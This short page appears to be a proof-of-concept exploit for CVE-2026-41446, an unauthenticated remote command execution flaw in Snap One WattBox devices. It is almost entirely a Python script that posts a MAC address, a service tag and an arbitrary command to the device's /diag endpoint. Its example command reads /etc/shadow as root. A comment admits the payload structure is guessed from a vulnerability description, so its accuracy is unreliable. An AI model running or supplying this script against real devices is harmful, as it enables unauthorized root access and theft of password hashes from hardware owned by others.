CVE-2026-41446 Snap One WattBox远程代码执行漏洞

import requests # Exploit Title: Snap One WattBox Unauthenticated RCE PoC # CVE: CVE-2026-41446 # Description: Uses MAC and Service Tag from device label to execute commands. target_url = "http://<DEVICE_IP>/diag" mac_address = "<MAC_ADDRESS_FROM_LABEL>" # e.g., 00:11:22:33:44:55 service_tag = "<SERVICE_TAG_FROM_LABEL>" # e.g., 123456 command = "cat /etc/shadow" # Arbitrary command to execute as root # Payload structure based on vulnerability description payload = { "mac": mac_address, "service_tag": service_tag, "cmd": command } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Command executed successfully!") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")